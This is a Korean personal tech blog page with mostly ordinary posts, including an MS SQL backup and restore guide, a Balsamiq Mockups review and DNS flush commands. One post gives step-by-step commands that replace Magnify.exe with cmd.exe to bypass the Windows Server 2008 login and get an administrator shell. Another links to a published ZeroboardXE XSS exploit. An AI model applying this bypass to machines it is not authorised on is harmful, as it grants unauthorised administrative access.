바사아자'S BLOG

검색 :
RSS 구독 : 글 / 댓글 / 트랙백 / 글+트랙백

MS SQL 전체 백업, 차등 백업, 트랜잭션 백업 에서의 데이터베이스의 복원

2010/02/08 16:14, 글쓴이 basaaja


1.데이터베이스 백업


1.1 백업 종류

 데이터베이스 백업의 종류는 다음과 같다.

전체 백업, 증분 백업, 차등 백업, 트랜잭션 백업


전체 백업 : 데이터베이스의 모든 데이터를 백업 하는 것을 의미 한다.

증분 백업 : 전체 백업후 증가한 데이터만 백업하며 다음 증분 백업시에는 마지막 증분 백업 데이터를 기준으로 증가한 데이터만 백업 한다. 그럼으로 매번 증분 백업 후의 늘어난 데이터베이스만 백업 함으로 백업 파일의 크기는 작지만 전체 백업 후 여러개의 증분 백업이 생성 됨으로 해당 되는 증분 백업을 모두 포함하여 복구 해야 함으로 번거롭고 복구에 시간이 걸리는 단점이 존재 한다.

차등 백업 : 전체 백업후 증가한 데이터만 백업하지만 차등 백업의 기준이 무조건 전체 백업 이후 임으로

백업되는 파일의 양은 많지만 복구시 전체 백업과 마지막 차등 백업 파일만을 가지고 복구 하게되어 시간이 단축된다.

트랜잭션 백업 : 지정된 시간에 지정된 크기의 트랜잭션 백업을 진행 할 경우 지정 시간안에 늘어난 데이터만큼만 백업 하고 지정된 크기로 LDF 파일을 재조정 하여 데이터베이스가 필요 이상으로 페이징을 하여 I/O가 증가 하는 것을 방지 할 수 있습니다.


1.2 적용된 백업

 이 문서에 적용된 적용된 백업은 다음과 같다.

 

 전체 백업, 차등 백업, 트랜잭션 백업


1.3 적용된 백업 스케쥴


 전체 백업 : 로컬 매일 04시 , 원격 04:30분

 차등 백업 : 매시 00분, 원격 매시 10분

 트랜잭션 백업 : 매 10분 마다, 백업 후 200MB로 재조정


 복원 가능 시점

*로컬 백업 : 장애 발생전 최대 10분의 데이터베이스












2.데이터베이스 복원


2.1 복원 준비 단계

1. 전체 백업 : 04시 생성 (파일명 ex : 데이터베이스1_backup_201002080400.bak )

2. 차등 백업 : 10시 생성 (파일명 ex : 데이터베이스1 1_backup_201002081000.bak )

3. 트랜잭션 백업 : 10시 10분, 10시 20분 생성

(파일명 ex :

데이터베이스1 1backup_20100208101000.trn ,

데이터베이스1 1backup_20100208102000.trn )





2.2 복원 순서 및 방식

1. 모든 네트워크 연결을 차단한다. 콘솔 작업시 네트워크의 활성화되어 있는 네트워크를 중지 시키는 것만으로도 되며 원격 작업시 1433번 포트에 타 네트워크에서 접근을 하지 못하게 설정 한다.

2.윈도우 계정으로 로컬의 SQLServer에 접근 한다.

3.데이터베이스 (오른쪽 마우스 클릭) -> 데이터베이스 복원을 클릭 한다.


4.전체 백업을 복원 하기 위해 복원에 사용할 원본 -> 장치를 선택 후 우측의 “...” 을 클릭하여 백업 지정 창을 띄운 후 백업 미디어 : 파일 체크 하고 추가를 클릭 하여 전체 백업 파일을 선택한다.


5.복원에 사용할 원본 에서 목록에 있는 데이터베이스를 체크 한다.


6.상단의 복원 대상의 데이터베이스를 선택한다. ( 조금전에 선택한 데이터베이스 명이 새로 생겼을 것이다.)


7.전체 복원만 진행 하려면 여기서 바로 확인을 클릭 하면 바로 복원 작업이 진행 된다. 하지만 우린 차등 백업도 복원 할것임으로 왼쪽 페이지 선택 메뉴의 옵션을 선택한다.  

8.복원 옵션에서 데이터베이스 파일을 다음으로 복원 에서 복원될 장소를 지정 할 수도 있다.


9.복구 상태에서 “데이터베이스를 비작동 상태로 유지하고 커밋되지 않은 트랜잭션을 롤백하지 않습니다. 추가 트랜잭션 로그를 복원 할 수 있습니다” 를 선택후 확인을 클릭하면 전체 복구를 진행 한다.

10. 전체 복구를 완료 하였다. 여기까지가 오전 04시까지의 복원이 완료된것이다.


11. 정상적으로 전체 백업이 복원 되면 다음과 같은 화면을 볼 수 있다. ( 전체백업만 진행한 것이라면 아래 화면과는 다르게 정상으로 보이지만 차등 백업을 진행 한다면 다음의 화면과 같이 복원 중... 으로 떠야 정상이다.


12. 차등 백업을 복원 한다. 복원할 파일만 차등 백업 파일을 선택하며 전체적인 과정은 아래와 같다. 이미지로 설명을 대처 하겠다. 데이터베이스 복원을 선택 한다.


13. 모든 순서는 파일명을 제외한 전체 백업 복원과 동일 하다 . ( * 옵션에서 복원 상태 2번째의 “데이터베이스를 비작동 상태로 유지하고 커밋되지 않은 트랜잭션을 롤백하지 않습니다. 추가 트랜잭션 로그를 복원 할 수 있습니다” 를 선택한다. ) 물론 여기서 다음의 트랜잭션 백업 복구를 진행 하지 않을 것이라면 복원 옵션의 첫번째를 선택후 확인을 클릭하면 복원후 추가 복원을 하지 않게 된다.




14. 차등 백업의 복원을 완료 하였다. 여기까지가 오전 10시 데이터까지 복구가 완료 된것이다.


15. 트랜잭션 백업의 복원을 진행 할 것이다. 작업 -> 복원 -> 트랜잭션 로그를 선택 한다.


16. 복구해야할 트랜잭션 로그가 총 2개인것을 기억 해두고 (10시 10분, 10시 20분의 트랜잭션) 아래의 복원할 트랜잭션 10시 10분에 생성된 것을 선택한다. 또한 아래의 복원 위치를 통하여 복구할 좀더 정확한 시간의 지정도 가능하다. 우리는 트랜잭션을 10분마다 백업했음으로 트랜잭션이 작성된 10분 이내에서만 가능 할 것이다.


17.여기서도 옵션 에서 복구 상태 2번째를 선택해야 추가로 트랜잭션을 복구 할 수 있다. 물론 복구를 종료 하려면 첫번째를 선택한다.


18. 확인을 클릭 한다. 여기까지가 10시 10분의 데이터까지 복원된 상태이다.



19. 10시 20분의 트랜잭션 복원도 위의 (15번 이후) 트랜잭션 복원과 동일하다. 단 복원 파일은 10시 20분의 트랜잭션 로그이며 옵션 의 복구 상태는 첫번째를 선택하여 모든 복원이 종료 됨을 알려야 한다. 확인을 클릭한다.



20. 완료 되었다는 메세지를 볼 수 있다. 이제는 정말로 데이터베이스가 복원 된것이다.

21. 데이터베이스 목록에서 아래의 그림과 같이 기존에는 “복원 중...” 에서 정상적인 데이터베이스명이 표시 되는것을 확인 할 수 있다.


22. 네트워크 단에서 1433port 로 다른 사용자의 정상적인 SQLServer 접속을 허용 한다.


2.3 복원된 데이터의 확인

*최근 사용자 로그인 정보등의 로그 테이블에서 조회를 해보면 알 수 있다. (이건 데이터베이스 마다 다름으로 로그 관련된 테이블을 직접 찾아 보기 바란다.)


크리에이티브 커먼즈 라이센스
Creative Commons License
2010/02/08 16:14 2010/02/08 16:14

맨 위로

손쉬운 레이아웃 편집 툴 Balsamiq Mockups

2009/11/20 10:22, 글쓴이 basaaja
사용자 삽입 이미지






















새로운 레이아웃 편집 툴을 소개 합니다. ~
기존에 레이아웃을 설정하려면 덩치큰 키노트나 파워 포인트를 이용하여 어렵게 작성을 하곤 했는데
이 프로그램은 그런 고민들을 한방에 싹 날려 줍니다 ! 
손으로 쓴듯한 글씨체에 직관적인 UI는 사용하는 사람들로 하여금 편안함과 익숙함을 느끼게 해주네요.
플래시 AIR 기반이라 Windows / Mac / Linux 등 왠간한 데스크탑 운영체제에 상관없이 이용 하실 수
있습니다 ~ 하지만 반면 AIR라는게 단점이 될 수도 있겠죠. 어쩔 수 없이 살짝 느린 반응 속도는 애교로
봐줘야 할듯합니다.

또한 막강한 파일 관련 기능도 포함 되어 있습니다.
사용자 삽입 이미지


PNG, PDF, 자체 포맷,클립보드로 보내기등 파일의 보관 및 전파를 다양하게 할 수가 있네요. 여기서 작성해서 다른 사람들에게 PDF로 보내기가 용이 합니다.


사용자 삽입 이미지

또한 위의 그림 처럼 클릭 후 드래그를 하면 해당 아이템에 대한 속성을 설정할 수도 있습니다.
사실 이부분이 아이템을 클릭한 상태에선 옆의 속성 창이 좀 흐리게 나와서 지저분한 느낌이 들기도 했습니다.

사용자 삽입 이미지

앗 이런. 베타 버젼이라 5분 마다 이런 창도 뜨는군요.

아래는 관련 동영상입니다


가격은 79$ ! 생각 보단 저렴한 가격입니다. 이런 실생활에 필요한 프로그램들은 살짝 질러줘도 괜찮을듯합니다.
그래야 우리 개발자들도 먹고 살수 있으니깐요. 또한 사이트 내에서 잘 찾아보면 라이센스 키를 무료로 받는 법
에 대해서도 나와 있답니다. ( 저처럼 블로그에 포스팅을 하면 라이센스키를 보내 준다는 ..! )

더 이상 머리속의 아이디어를 컴퓨터로 옮기기 위해서 파워 포인트나 키노트를 이용하여 어렵게 어렵게 적을 필요가
없습니다. Balsamiq Mockups 를 이용하면 앞으로 좀 더 쉽게 머리속 정리가 가능해질거 같습니다 .

홈페이지 : http://www.balsamiq.com/

크리에이티브 커먼즈 라이센스
Creative Commons License
2009/11/20 10:22 2009/11/20 10:22

맨 위로

Mac OS X Dns 캐시 초기화 명령어

2009/11/02 10:23, 글쓴이 basaaja
OS X 10.5 Leopard
 dscacheutil -flushcache

OS X 10.4 Tiger
 lookupd -flushcache

Windows
 ipconfig /flushdns

해당 명령어들은 시스템의 DNS를 비워서 새로 할당 받을 수 있게 해준다.
크리에이티브 커먼즈 라이센스
Creative Commons License
2009/11/02 10:23 2009/11/02 10:23

맨 위로

패킷 제너레이터 툴

2009/08/13 15:43, 글쓴이 basaaja
http://sourceforge.net/projects/hyenae/

실제로 패킷을 생성해 각종 UDP Flooding, TCP Syn Attack 등 여러가지를

테스트 할 수 있다. 보안 장비나 서버 퍼포먼스 체크 할때 사용하면 유용하다.

* 악용 금지
크리에이티브 커먼즈 라이센스
Creative Commons License
2009/08/13 15:43 2009/08/13 15:43

맨 위로

윈도우즈 업데이트 사이트 장애

2009/08/12 16:29, 글쓴이 basaaja
수시간 전부터 윈도우즈 업데이트 장애가 발생 된듯 하네요 .

확인 한 OS 는 2003, XP 이며 Vista의 경우 기본적으로 update.microsoft.com 을 이용하지 않아서

바로 확인 안되는듯 합니다.

접속 도메인 : update.microsoft.com

테스트 망: KT 망 ( 접속지연 ), 파워콤망 (접속지연) , 하나로망(접속원활)

그외 기타 다른 망에서도 접속이 잘 안되는걸로 파악 되고 있습니다.


MS 고객지원에 전화해서 물어보니 지금까지 업데이트 관련 접속 지연 문의는 접수된 바

없으니 고객님이 이용하는 망 업체에 전화 하라고 하네요. 나참 어이 없어서.

접속 지연 현상이 왠지 트위터 DDOS 공격과 연관이 있을듯한 추측도 해봅니다만.

여하튼 빨리 업데이트 되어서 서버 설치 작업 마무리 했으면 좋겠네요. ㅠㅠ
크리에이티브 커먼즈 라이센스
Creative Commons License
2009/08/12 16:29 2009/08/12 16:29

맨 위로

하나은행 IE 8 장애 발생

2009/03/27 14:40, 글쓴이 basaaja
IE8 으로 업그레이드를 하고 나니 하나은행 웹페이지에 접속시 장애가 발생하네요.

혹시나 하고 호환성 보기 설정에다 사이트를 등록을 해도 버튼 클릭등이 안되는

문제가 생기네요. 큰일이네요 . 오늘 중에 이체할 돈이 있는데 ;;

어떤 분들은 시스템을 재설치 하고 IE8을 설치하면 된다고 하시던데. 전 그럴 여유가 안되기

때문에.. 하나은행 측에서는 IE8에 대한 대처법이나 적절한 수정을 어서 해주셨으면 합니다.

크리에이티브 커먼즈 라이센스
Creative Commons License
2009/03/27 14:40 2009/03/27 14:40

맨 위로

Windows Server 2008 암호 인증 통과 하기

2009/02/13 08:09, 글쓴이 basaaja
간혹 로컬에서 인증이 필요 없이 Windows Server 2008에 접근을 할 이유가 생길 수 있습니다. 전 관리자가 패스워드를 알려 주지 않고 나갔다던지 아니면 나쁜짓을 하기 위해 IDC에 침입(?) 해서 작업을 하시던지 여러 이유들은 많이 있겠죠.

아래의 방법은 암호 인증을 우회하는 방법에 대한 매우 짧은 번역글 입니다.

준비물 : NTFS-3G 드라이버를 제공하는 리눅스 라이브 시디

1. 리눅스 라이브 시디로 부팅을 합니다.
2. fdisk -l | grep NTFS ( NTFS를 제대로 인식했는지 확인 및 몇번 hdd 인지 체크)
3. mkdir -p /mnt/windows (마운트를 위한 디렉토리 생성)
4. mount -t ntfs-3g /dev/sda1/mnt/windows
5. cd /mnt/windows/system32/
6. mv Magnify.exe Magnify.bck
7. cp cmd.exe Magnify.exe
8. reboot

다시 Windows Server 2008 로 접근 하면 인증없이 관리자 권한으로 접근하는 것을 확인 할 수 있다고 합니다 .

참고로 저는 아직 테스트를 하지는 않았고 원본 문서에 접근하시면 더 자세한 설명을 확인 하실 수 있습니다.

원본 : http://milw0rm.com/papers/286

크리에이티브 커먼즈 라이센스
Creative Commons License
2009/02/13 08:09 2009/02/13 08:09

맨 위로

ZeroboardXE 1.1.5 XSS 취약점 발표

2009/02/10 19:45, 글쓴이 basaaja
요새 공개보드들이 각종 취약점 발표로 몸살을 겪고 있습니다. 

2009.02.09일 날짜로 ZeroboardXE 1.1.5 의 XSS 취약점이 milw0rm.com 에 개시 되었습니다. 

아직 제로보드 홈페이지에는 패치 관련 내용은 올라오지 않은걸로 파악 됩니다. 

http://www.milw0rm.com/exploits/8019


크리에이티브 커먼즈 라이센스
Creative Commons License
2009/02/10 19:45 2009/02/10 19:45

맨 위로

구글 싱크가 발표 되었네요. ( WM 및 Iphone 등 동기화 )

2009/02/10 19:21, 글쓴이 basaaja

드디어 기다리던 구글 싱크가 발표 되었네요. 꼭 필요한 기능인데 왜 없을까 의아했는데

이제서라도 사용할 수 있으니 다행인듯 하네요.

지원 되는 디바이스는 다음과 같습니다.

  • iPhone
  • BlackBerry
  • Nokia S60
  • Nokia standard
  • Sony Ericsson
  • Windows Mobile

     저의 경우는 기존에 nuevasync 를 이용해 싱크를 했었는데 이제는 바로 구글 싱크를 이용할 수 있다고 하니 방금 바꿨습니다. 뭐 nuevasync와의 더 좋은 점이나 차이점등은 보이지 않는거 같고요. (당연한 이야기지만 둘다 Exchange를 기반으로 두고 있으니깐요.)
     
    아이팟으로 테스트 결과 우선 Contacts와 Calendar 만 연동이 되며 Mail은 아이팟 안의 설정에 원래 기본으로 들어가 있습니다. ( 저는 뭣도 모르고 처음에 계정 지우고 시작했다가 난감했다죠.)

  • 크리에이티브 커먼즈 라이센스
    Creative Commons License
    2009/02/10 19:21 2009/02/10 19:21

    맨 위로

    FM2 첫롤

    2009/02/10 10:14, 글쓴이 basaaja
    역시나 첫롤은 상태가 매우 안좋군 
    이제 사진에 입문을 ㅎㅎ 
    크리에이티브 커먼즈 라이센스
    Creative Commons License
    2009/02/10 10:14 2009/02/10 10:14

    맨 위로